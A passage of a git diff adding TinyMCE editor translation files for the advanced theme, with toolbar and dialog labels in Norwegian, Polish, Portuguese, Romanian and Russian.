(Ctrl+Y)","undo_desc":"Angre (Ctrl+Z)","indent_desc":"\u00d8k innrykk","outdent_desc":"Reduser innrykk","numlist_desc":"Nummerliste","bullist_desc":"Punktliste","justifyfull_desc":"Blokkjustert","justifyright_desc":"H\u00f8yrejustert","justifycenter_desc":"Midtstilt","justifyleft_desc":"Venstrejustert","striketrough_desc":"Gjennomstreke","help_shortcut":"Trykk ALT F10 for verkt\u00f8ylinje. Trykk ALT 0 for hjelp","rich_text_area":"Redigeringsomr\u00e5de","shortcuts_desc":"Hjelp for funksjonshemmede",toolbar:"Verkt\u00f8ylinje","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/no_dlg.js b/js/tiny_mce/themes/advanced/langs/no_dlg.js new file mode 100755 index 0000000..ad37b35 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.advanced_dlg',{"link_list":"Liste over lenker","link_is_external":"Nettadressen du skrev inn ser ut til \u00e5 v\u00e6re en ekstern nettadresse. \u00d8nsker du \u00e5 legge til obligatorisk http://-prefiks?","link_is_email":"Nettadressen du skrev inn ser ut til \u00e5 v\u00e6re en Epost adresse. \u00d8nsker du \u00e5 legge til obligatorisk mailto:-prefiks?","link_titlefield":"Tittel","link_target_blank":"\u00c5pne i nytt vindu","link_target_same":"\u00c5pne i dette vindu","link_target":"M\u00e5lvindu","link_url":"Lenke URL","link_title":"Sett inn/editer lenke","image_align_right":"H\u00f8yre","image_align_left":"Venstre","image_align_textbottom":"Tekst bunn","image_align_texttop":"Tekst topp","image_align_bottom":"Bunn","image_align_middle":"Midtstilt","image_align_top":"Topp","image_align_baseline":"Bunnlinje","image_align":"Justering","image_hspace":"Horisontal avstand","image_vspace":"Vertikal avstand","image_dimensions":"Dimensjoner","image_alt":"Bildebeskrivelse","image_list":"Liste med bilder","image_border":"Ramme","image_src":"Bilde URL","image_title":"Sett inn/editer bilde","charmap_title":"Velg spesialtegn","colorpicker_name":"Navn:","colorpicker_color":"Farge:","colorpicker_named_title":"Fargenavn","colorpicker_named_tab":"Navnevalg","colorpicker_palette_title":"Palettfarger","colorpicker_palette_tab":"Palett","colorpicker_picker_title":"Fargevalg","colorpicker_picker_tab":"Fargevelger","colorpicker_title":"Velg farge","code_wordwrap":"Tekstbryting","code_title":"HTML kildeeditor","anchor_name":"Ankernavn","anchor_title":"Sett inn/editer anker","about_loaded":"Innlastede programtillegg","about_version":"Versjon","about_author":"Forfatter","about_plugin":"Programtillegg","about_plugins":"Programtillegg","about_license":"Lisens","about_help":"Hjelp","about_general":"Om","about_title":"Om TinyMCE","charmap_usage":"Bruk h\u00f8yre og venstre piler for \u00e5 velge.","anchor_invalid":"Du m\u00e5 angi et gyldig ankernavn.","accessibility_help":"Tilgjengelighetshjelp","accessibility_usage_title":"Generel bruk"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/pl.js b/js/tiny_mce/themes/advanced/langs/pl.js new file mode 100755 index 0000000..f7348f1 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/pl.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.advanced',{"underline_desc":"Podkre\u015blenie (Ctrl+U)","italic_desc":"Kursywa (Ctrl+I)","bold_desc":"Pogrubienie (Ctrl+B)",dd:"Opis terminu",dt:"Definicja terminu ",samp:"Pr\u00f3bka kodu",code:"Kod",blockquote:"Wydzielony blok",h6:"Nag\u0142\u00f3wek 6",h5:"Nag\u0142\u00f3wek 5",h4:"Nag\u0142\u00f3wek 4",h3:"Nag\u0142\u00f3wek 3",h2:"Nag\u0142\u00f3wek 2",h1:"Nag\u0142\u00f3wek 1",pre:"Czcionka o sta\u0142ej szeroko\u015bci",address:"Adres",div:"Div",paragraph:"Akapit",block:"Format",fontdefault:"Rodzaj czcionki","font_size":"Rozmiar czcionki","style_select":"Styl","more_colors":"Wi\u0119cej kolor\u00f3w...","toolbar_focus":"Przeskocz do przycisk\u00f3w narz\u0119dzi - Alt+Q, Przeskocz do edytora - Alt-Z, Przeskocz do elementu \u015bcie\u017cki - Alt-X",newdocument:"Czy jeste\u015b pewnien, ze chcesz wyczy\u015bci\u0107 ca\u0142\u0105 zawarto\u015b\u0107?",path:"\u015acie\u017cka","clipboard_msg":"Akcje Kopiuj/Wytnij/Wklej nie s\u0105 dost\u0119pne w Mozilli i Firefox.\nCzy chcesz wi\u0119cej informacji o tym problemie?","blockquote_desc":"Blok cytatu","help_desc":"Pomoc","newdocument_desc":"Nowy dokument","image_props_desc":"W\u0142a\u015bciwo\u015bci obrazka","paste_desc":"Wklej (Ctrl V)","copy_desc":"Kopiuj (Ctrl C)","cut_desc":"Wytnij (Ctrl X)","anchor_desc":"Wstaw/edytuj kotwic\u0119","visualaid_desc":"Prze\u0142\u0105cz widoczno\u015b\u0107 wska\u017anik\u00f3w i niewidocznych element\u00f3w","charmap_desc":"Wstaw znak specjalny","backcolor_desc":"Wybierz kolor t\u0142a","forecolor_desc":"Wybierz kolor tekstu","custom1_desc":"Tw\u00f3j niestandardowy opis tutaj","removeformat_desc":"Usu\u0144 formatowanie","hr_desc":"Wstaw poziom\u0105 lini\u0119","sup_desc":"Indeks g\u00f3rny","sub_desc":"Indeks dolny","code_desc":"Edytuj \u017ar\u00f3d\u0142o HTML","cleanup_desc":"Wyczy\u015b\u0107 nieuporz\u0105dkowany kod","image_desc":"Wstaw/edytuj obraz","unlink_desc":"Usu\u0144 link","link_desc":"Wstaw/edytuj link","redo_desc":"Pon\u00f3w (Ctrl+Y)","undo_desc":"Cofnij (Ctrl+Z)","indent_desc":"Wci\u0119cie","outdent_desc":"Cofnij wci\u0119cie","numlist_desc":"Lista numerowana","bullist_desc":"Lista nienumerowana","justifyfull_desc":"R\u00f3wnanie do prawej i lewej","justifyright_desc":"Wyr\u00f3wnaj do prawej","justifycenter_desc":"Wycentruj","justifyleft_desc":"Wyr\u00f3wnaj do lewej","striketrough_desc":"Przekre\u015blenie","help_shortcut":"Wci\u015bnij Alt F10 aby pokaza\u0107 pasek narz\u0119dzi. Wci\u015bnij Alt 0 aby otworzy\u0107 pomoc","rich_text_area":"Pole tekstowe","shortcuts_desc":"Pomoc dost\u0119pno\u015bci",toolbar:"Pasek narz\u0119dzi","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/pl_dlg.js b/js/tiny_mce/themes/advanced/langs/pl_dlg.js new file mode 100755 index 0000000..e1ba93c --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.advanced_dlg',{"link_list":"Lista link\u00f3w","link_is_external":"URL kt\u00f3ry otworzy\u0142e\u015b wydaje si\u0119 by\u0107 zewn\u0119trznym linkiem, czy chcesz doda\u0107 wymagany prefiks http:// ?","link_is_email":"URL kt\u00f3ry otworzy\u0142e\u015b wydaje si\u0119 by\u0107 adresem mailowym, czy chcesz doda\u0107 odpowiedni prefiks mailto:?","link_titlefield":"Tytu\u0142","link_target_blank":"Otw\u00f3rz link w nowym oknie","link_target_same":"Otw\u00f3rz link w tym samym oknie","link_target":"Cel","link_url":"URL linka","link_title":"Wstaw/edytuj link","image_align_right":"Prawy","image_align_left":"Lewy","image_align_textbottom":"Dolny tekst","image_align_texttop":"G\u00f3rny tekst","image_align_bottom":"D\u00f3\u0142","image_align_middle":"\u015arodek","image_align_top":"G\u00f3ra","image_align_baseline":"Linia bazowa","image_align":"Wyr\u00f3wnanie","image_hspace":"Odst\u0119p poziomy","image_vspace":"Odst\u0119p pionowy","image_dimensions":"Rozmiary","image_alt":"Opis obrazka","image_list":"Lista obrazk\u00f3w","image_border":"Obramowanie","image_src":"URL obrazka","image_title":"Wstaw/edytuj obraz","charmap_title":"Wybierz niestandardowy znak","colorpicker_name":"Nazwa:","colorpicker_color":"Kolor:","colorpicker_named_title":"Nazwane kolory","colorpicker_named_tab":"Nazwane","colorpicker_palette_title":"Paleta kolor\u00f3w","colorpicker_palette_tab":"Paleta","colorpicker_picker_title":"Wybieranie kolor\u00f3w","colorpicker_picker_tab":"Wybieranie","colorpicker_title":"Wybierz kolor","code_wordwrap":"Zawijanie s\u0142\u00f3w","code_title":"Edytor \u017ar\u00f3d\u0142a HTML","anchor_name":"Nazwa zakotwiczenia","anchor_title":"Wstaw/Edytuj zakotwiczenie","about_loaded":"Za\u0142adowane wtyczki","about_version":"Wersja","about_author":"Autor","about_plugin":"Wtyczka","about_plugins":"Wtyczki","about_license":"Licencja","about_help":"Pomoc","about_general":"O TinyMCE","about_title":"O TinyMCE","charmap_usage":"U\u017cywaj strza\u0142ek w lewo i w prawo do nawigacji.","anchor_invalid":"Prosz\u0119 poda\u0107 w\u0142a\u015bciw\u0105 nazw\u0119 zakotwiczenia.","accessibility_help":"Pomoc dost\u0119pno\u015bci","accessibility_usage_title":"Og\u00f3lne zastosowanie","invalid_color_value":"Nieprawid\u0142owa warto\u015b\u0107 koloru"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/pt.js b/js/tiny_mce/themes/advanced/langs/pt.js new file mode 100755 index 0000000..48d17b1 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/pt.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.advanced',{"underline_desc":"Sublinhado (Ctrl+U)","italic_desc":"It\u00e1lico (Ctrl+I)","bold_desc":"Negrito (Ctrl+B)",dd:"Descri\u00e7\u00e3o da defini\u00e7\u00e3o",dt:"Termo da defini\u00e7\u00e3o",samp:"Amostra de c\u00f3digo",code:"C\u00f3digo",blockquote:"Cita\u00e7\u00e3o em bloco",h6:"T\u00edtulo 6",h5:"T\u00edtulo 5",h4:"T\u00edtulo 4",h3:"T\u00edtulo 3",h2:"T\u00edtulo 2",h1:"T\u00edtulo 1",pre:"Pr\u00e9-formatado",address:"Endere\u00e7o",div:"Div",paragraph:"Par\u00e1grafo",block:"Formata\u00e7\u00e3o",fontdefault:"Tipo de fonte","font_size":"Tamanho","style_select":"Estilos","anchor_delta_width":"30","link_delta_height":"25","link_delta_width":"50","more_colors":"Mais cores","toolbar_focus":"Ir para as ferramentas - Alt+Q, Ir para o editor - Alt-Z, Ir para o endere\u00e7o do elemento - Alt-X",newdocument:"Tem a certeza que deseja apagar tudo?",path:"Endere\u00e7o","clipboard_msg":"Copiar/recortar/colar n\u00e3o est\u00e1 dispon\u00edvel no Mozilla e Firefox. Deseja mais informa\u00e7\u00f5es sobre este problema?","blockquote_desc":"Cita\u00e7\u00e3o em bloco","help_desc":"Ajuda","newdocument_desc":"Novo documento","image_props_desc":"Propriedades da imagem","paste_desc":"Colar","copy_desc":"Copiar","cut_desc":"Recortar","anchor_desc":"Inserir/editar \u00e2ncora","visualaid_desc":"Alternar guias/elementos invis\u00edveis","charmap_desc":"Inserir caracteres especiais","backcolor_desc":"Selecionar a cor de fundo","forecolor_desc":"Selecionar a cor do texto","custom1_desc":"Insira aqui a sua descri\u00e7\u00e3o personalizada","removeformat_desc":"Remover formata\u00e7\u00e3o","hr_desc":"Inserir separador horizontal","sup_desc":"Superior \u00e0 linha","sub_desc":"Inferior \u00e0 linha","code_desc":"Editar c\u00f3digo fonte","cleanup_desc":"Limpar c\u00f3digo incorreto","image_desc":"Inserir/editar imagem","unlink_desc":"Remover hyperlink","link_desc":"Inserir/editar hyperlink","redo_desc":"Refazer (Ctrl+Y)","undo_desc":"Desfazer (Ctrl+Z)","indent_desc":"Aumentar recuo","outdent_desc":"Diminuir recuo","numlist_desc":"Numera\u00e7\u00e3o","bullist_desc":"Marcadores","justifyfull_desc":"Justificar","justifyright_desc":"Alinhar \u00e0 direita","justifycenter_desc":"Centralizar","justifyleft_desc":"Alinhar \u00e0 esquerda","striketrough_desc":"Riscado","help_shortcut":"Pressione ALT-F10 para barra de ferramentas. Pressione ALT-0 para ajuda","rich_text_area":"\u00c1rea de edi\u00e7\u00e3o rica","shortcuts_desc":"Ajuda acessibilidade",toolbar:"Barra de ferramentas","anchor_delta_height":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/pt_dlg.js b/js/tiny_mce/themes/advanced/langs/pt_dlg.js new file mode 100755 index 0000000..313a012 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.advanced_dlg',{"link_list":"Lista de Links","link_is_external":"A URL digitada parece conduzir a um link externo. Deseja acrescentar o prefixo necess\u00e1rio http://?","link_is_email":"A URL digitada parece ser um endere\u00e7o de e-mail. Deseja acrescentar o prefixo necess\u00e1rio mailto:?","link_titlefield":"T\u00edtulo","link_target_blank":"Abrir hyperlink em nova janela","link_target_same":"Abrir hyperlink na mesma janela","link_target":"Alvo","link_url":"URL do hyperink","link_title":"Inserir/editar hyperlink","image_align_right":"Direita","image_align_left":"Esquerda","image_align_textbottom":"Base do texto","image_align_texttop":"Topo do texto","image_align_bottom":"Abaixo","image_align_middle":"Meio","image_align_top":"Topo","image_align_baseline":"Sobre a linha de texto","image_align":"Alinhamento","image_hspace":"Espa\u00e7o Horizontal","image_vspace":"Espa\u00e7o Vertical","image_dimensions":"Dimens\u00f5es","image_alt":"Descri\u00e7\u00e3o da imagem","image_list":"Lista de imagens","image_border":"Limites","image_src":"Endere\u00e7o da imagem","image_title":"Inserir/editar imagem","charmap_title":"Selecionar caracteres personalizados","colorpicker_name":"Nome:","colorpicker_color":"Cor:","colorpicker_named_title":"Cores Personalizadas","colorpicker_named_tab":"Personalizadas","colorpicker_palette_title":"Paleta de Cores","colorpicker_palette_tab":"Paleta","colorpicker_picker_title":"Editor de Cores","colorpicker_picker_tab":"Editor","colorpicker_title":"Selecione uma cor","code_wordwrap":"Quebra autom\u00e1tica de linha","code_title":"Editor HTML","anchor_name":"Nome da \u00e2ncora","anchor_title":"Inserir/editar \u00e2ncora","about_loaded":"Plugins Instalados","about_version":"Vers\u00e3o","about_author":"Autor","about_plugin":"Plugin","about_plugins":"Plugins","about_license":"Licen\u00e7a","about_help":"Ajuda","about_general":"Sobre","about_title":"Sobre o TinyMCE","charmap_usage":"Use as setas esquerda e direita para navegar.","anchor_invalid":"Por favor, especifique um nome v\u00e1lido de \u00e2ncora.","accessibility_help":"Ajuda de Acessibilidade","accessibility_usage_title":"Uso Geral","invalid_color_value":"Valor da cor inv\u00e1lido"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/ro.js b/js/tiny_mce/themes/advanced/langs/ro.js new file mode 100755 index 0000000..88899a8 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/ro.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.advanced',{"underline_desc":"Subliniat (Ctrl+U)","italic_desc":"Italic (Ctrl+I)","bold_desc":"\u00cengro\u0219at (Ctrl B)",dd:"Defini\u021bie",dt:"Termen definit ",samp:"Mostr\u0103 de cod",code:"Cod",blockquote:"Citat",h6:"Titlu 6",h5:"Titlu 5",h4:"Titlu 4",h3:"Titlu 3",h2:"Titlu 2",h1:"Titlu 1",pre:"Preformatat",address:"Adres\u0103",div:"Div",paragraph:"Paragraf",block:"Format",fontdefault:"Familie font","font_size":"M\u0103rime font","style_select":"Stiluri","more_colors":"Mai multe culori...","toolbar_focus":"Salt la instrumente - Alt Q, Salt la editor - Alt-Z, Salt la cale - Alt-X",newdocument:"Sigur vrei s\u0103 \u0219tergi tot?",path:"Cale","clipboard_msg":"Copierea/t\u0103ierea/lipirea nu sunt disponibile \u00een Mozilla \u0219i Firefox.\nVrei mai multe informa\u021bii despre aceast\u0103 problem\u0103?","blockquote_desc":"Citat","help_desc":"Ajutor","newdocument_desc":"Document nou","image_props_desc":"Detalii imagine","paste_desc":"Lipe\u0219te","copy_desc":"Copiaz\u0103","cut_desc":"Taie","anchor_desc":"Inserare/editare ancor\u0103","visualaid_desc":"Comut\u0103 ghidajele/elementele invizibile","charmap_desc":"Inserare caracter special","backcolor_desc":"Culoare fundal","forecolor_desc":"Culoare text","custom1_desc":"Introdu aici o descriere","removeformat_desc":"Anuleaz\u0103 formatarea","hr_desc":"Insereaz\u0103 linie orizontal\u0103","sup_desc":"Superscript","sub_desc":"Subscript","code_desc":"Editare surs\u0103 HTML","cleanup_desc":"Cur\u0103\u021b\u0103 codul","image_desc":"Inserare/editare imagine","unlink_desc":"\u0218terge leg\u0103tura","link_desc":"Inserare/editare leg\u0103tur\u0103","redo_desc":"Ref\u0103 (Ctrl+Y)","undo_desc":"Undo (Ctrl+Z)","indent_desc":"Indenteaz\u0103","outdent_desc":"De-indenteaz\u0103","numlist_desc":"List\u0103 ordonat\u0103","bullist_desc":"List\u0103 neordonat\u0103","justifyfull_desc":"Aliniere pe toat\u0103 l\u0103\u021bimea","justifyright_desc":"Aliniere la dreapta","justifycenter_desc":"Centrare","justifyleft_desc":"Aliniere la st\u00e2nga","striketrough_desc":"T\u0103iat","help_shortcut":"Apas\u0103 ALT-F10 pentru bara de unelte. Apas\u0103 ALT-0 pentru ajutor","rich_text_area":"Zon\u0103 de text formatat","shortcuts_desc":"Ajutor accesabilitate",toolbar:"Bar\u0103 de unelte","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/ro_dlg.js b/js/tiny_mce/themes/advanced/langs/ro_dlg.js new file mode 100755 index 0000000..f89c76a --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.advanced_dlg',{"link_list":"Lista de leg\u0103turi","link_is_external":"URL-ul pe care l-ai introdus pare a fi o leg\u0103tur\u0103 extern\u0103. Vrei s\u0103 adaug \u0219i prefixul http:// necesar?","link_is_email":"URL-ul pe care l-ai introdus pare a fi o adres\u0103 de e-mail. Vrei s\u0103 adaug \u0219i prefixul mailto: necesar?","link_titlefield":"Titlu","link_target_blank":"Deschide leg\u0103tura \u00eentr-o fereastr\u0103 nou\u0103","link_target_same":"Deschide leg\u0103tura \u00een aceea\u0219i fereastr\u0103","link_target":"\u021aint\u0103","link_url":"URL leg\u0103tur\u0103","link_title":"Inserare/editare leg\u0103tur\u0103","image_align_right":"Dreapta","image_align_left":"St\u00e2nga","image_align_textbottom":"Textul la mijloc","image_align_texttop":"Textul sus","image_align_bottom":"Jos","image_align_middle":"La mijloc","image_align_top":"Sus","image_align_baseline":"Baseline","image_align":"Aliniere","image_hspace":"Spa\u021biu orizontal","image_vspace":"Spa\u021biu vertical","image_dimensions":"Dimensiuni","image_alt":"Descriere imagine","image_list":"List\u0103 de imagini","image_border":"Bordur\u0103","image_src":"URL imagine","image_title":"Insereaz\u0103/editeaz\u0103 o imagine","charmap_title":"Alege un caracter special","colorpicker_name":"Nume:","colorpicker_color":"Culoare:","colorpicker_named_title":"Culori denumite","colorpicker_named_tab":"Denumite","colorpicker_palette_title":"Palet\u0103 de culori","colorpicker_palette_tab":"Palet\u0103","colorpicker_picker_title":"Pipet\u0103 de culori","colorpicker_picker_tab":"Pipet\u0103","colorpicker_title":"Alege o culoare","code_wordwrap":"\u00cencadrare cuvinte","code_title":"Editor surs\u0103 HTML","anchor_name":"Nume ancor\u0103","anchor_title":"Inserare/editare ancor\u0103","about_loaded":"Module \u00eenc\u0103rcate","about_version":"Versiune","about_author":"Autor","about_plugin":"Modul","about_plugins":"Module","about_license":"Licen\u021b\u0103","about_help":"Ajutor","about_general":"Despre","about_title":"Despre TinyMCE","charmap_usage":"Folose\u0219te s\u0103ge\u021bile st\u00e2nga \u0219i dreapta pentru navigare.","anchor_invalid":"Te rog specific\u0103 un nume valid de ancor\u0103.","accessibility_help":"Ajutor pentru accesibilitate","accessibility_usage_title":"Uz general"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/ru.js b/js/tiny_mce/themes/advanced/langs/ru.js new file mode 100755 index 0000000..85fe899 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/ru.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.advanced',{"underline_desc":"\u041f\u043e\u0434\u0447\u0435\u0440\u043a\u043d\u0443\u0442\u044b\u0439 (Ctrl+U)","italic_desc":"\u041a\u0443\u0440\u0441\u0438\u0432 (Ctrl+I)","bold_desc":"\u041f\u043e\u043b\u0443\u0436\u0438\u0440\u043d\u044b\u0439 (Ctrl+B)",dd:"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a\u0430",dt:"\u0422\u0435\u0440\u043c\u0438\u043d \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a\u0430",samp:"\u041f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u0434\u0430",code:"\u041a\u043e\u0434",blockquote:"\u0426\u0438\u0442\u0430\u0442\u0430",h6:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 6",h5:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 5",h4:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 4",h3:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 3",h2:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 2",h1:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 1",pre:"\u041f\u0440\u0435\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439",address:"\u0410\u0434\u0440\u0435\u0441",div:"Div",paragraph:"\u0410\u0431\u0437\u0430\u0446",block:"\u0424\u043e\u0440\u043c\u0430\u0442",fontdefault:"\u0428\u0440\u0438\u0444\u0442","font_size":"\u0420\u0430\u0437\u043c\u0435\u0440","style_select":"\u0421\u0442\u0438\u043b\u044c","more_colors":"\u0414\u0440\u0443\u0433\u0438\u0435 \u0446\u0432\u0435\u0442\u0430...","toolbar_focus":"\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u043f\u0430\u043d\u0435\u043b\u044c \u043a\u043d\u043e\u043f\u043e\u043a (Alt+Q). \u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0443 (Alt+Z). \u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0443 \u043f\u0443\u0442\u0438 (Alt+X).",newdocument:"\u0412\u044b \u0443\u0432\u0435\u0440\u0435\u043d\u044b, \u0447\u0442\u043e \u0445\u043e\u0442\u0438\u0442\u0435 \u0432\u0441\u0435 \u0443\u0434\u0430\u043b\u0438\u0442\u044c?",path:"\u0422\u0435\u0433\u0438","clipboard_msg":"\u041a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u0432\u044b\u0440\u0435\u0437\u043a\u0430 \u0438 \u0432\u0441\u0442\u0430\u0432\u043a\u0430 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0432 Firefox. \u0425\u043e\u0442\u0438\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e?","blockquote_desc":"\u0426\u0438\u0442\u0430\u0442\u0430","help_desc":"\u041f\u043e\u043c\u043e\u0449\u044c","newdocument_desc":"\u041d\u043e\u0432\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442","image_props_desc":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f","paste_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c","copy_desc":"\u041a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c","cut_desc":"\u0412\u044b\u0440\u0435\u0437\u0430\u0442\u044c","anchor_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c/\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u044f\u043a\u043e\u0440\u044c","visualaid_desc":"\u0412\u0441\u0435 \u0437\u043d\u0430\u043a\u0438","charmap_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0438\u043c\u0432\u043e\u043b","backcolor_desc":"\u0426\u0432\u0435\u0442 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0442\u0435\u043a\u0441\u0442\u0430","forecolor_desc":"\u0426\u0432\u0435\u0442 \u0442\u0435\u043a\u0441\u0442\u0430","custom1_desc":"\u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435","removeformat_desc":"\u041e\u0447\u0438\u0441\u0442\u0438\u0442\u044c \u0444\u043e\u0440\u043c\u0430\u0442","hr_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0447\u0435\u0440\u0442\u0443","sup_desc":"\u041d\u0430\u0434\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0439","sub_desc":"\u041f\u043e\u0434\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0439","code_desc":"\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c HTML \u043a\u043e\u0434","cleanup_desc":"\u041e\u0447\u0438\u0441\u0442\u0438\u0442\u044c \u043b\u0438\u0448\u043d\u0438\u0439 \u043a\u043e\u0434","image_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c/\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435","unlink_desc":"\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443","link_desc":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c/\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443","redo_desc":"\u0412\u0435\u0440\u043d\u0443\u0442\u044c (Ctrl+Y)","undo_desc":"\u041e\u0442\u043c\u0435\u043d\u0438\u0442\u044c (Ctrl+Z)","indent_desc":"\u0423\u0432\u0435\u043b\u0438\u0447\u0438\u0442\u044c \u043e\u0442\u0441\u0442\u0443\u043f","outdent_desc":"\u0423\u043c\u0435\u043d\u044c\u0448\u0438\u0442\u044c \u043e\u0442\u0441\u0442\u0443\u043f","numlist_desc":"\u041d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a","bullist_desc":"\u041c\u0430\u0440\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a","justifyfull_desc":"\u041f\u043e \u0448\u0438\u0440\u0438\u043d\u0435","justifyright_desc":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","justifycenter_desc":"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443","justifyleft_desc":"\u041f\u043e \u043b\u0435\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","striketrough_desc":"\u0417\u0430\u0447\u0435\u0440\u043a\u043d\u0443\u0442\u044b\u0439","help_shortcut":"\u041d\u0430\u0436\u043c\u0438\u0442\u0435 ALT-F10 \u0434\u043b\u044f \u043f\u0430\u043d\u0435\u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432. \u041d\u0430\u0436\u043c\u0438\u0442\u0435 ALT-0 \u0434\u043b\u044f \u0441\u043f\u0440\u0430\u0432\u043a\u0438.","rich_text_area":"\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440","shortcuts_desc":"\u041f\u043e\u043c\u043e\u0449\u044c \u043f\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438",toolbar:"\u041f\u0430\u043d\u0435\u043b\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/ru_dlg.js b/js/tiny_mce/themes/advanced/langs/ru_dlg.js new file mode 100755 index 0000000..cc39783 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/ru_dlg.js @@ -0,0 +1 @@ 